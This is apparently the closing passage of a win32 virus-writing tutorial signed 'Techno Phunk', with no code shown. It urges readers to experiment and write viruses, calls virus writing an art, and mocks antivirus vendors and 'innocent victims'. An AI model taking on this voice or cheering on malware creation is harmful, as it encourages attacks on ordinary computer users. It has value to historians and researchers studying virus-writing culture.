I feel that you as most win32 virus writers today, should learn by experimenting.
Afterall, you may come up with some REALLY cool way of doing a certain common
routine, that you wouldn't have thought of otherwise. Also, so that 10,000 varients
don't suddenly pop up, like after VLAD's MZ infection tutorial ;). Anyhow...
if you got this far without giving up, you are worthy of writing a win32 virus.
And more power to you! I hope you learned everything you need, and in closing
have fun! Virus writing is an art guys/gals...so, get out yer palet and start
painting for the nice Customers (AVs and innocent victims <EG>)

 Any questions? need more clarifications? bugs - I hope there are none! e-mail
me at: tinet@sourceofkaos.com and I'll try to clear them up, or fix otherwise.

                                                        - Techno Phunk -
                                                      210,000 AVers served.
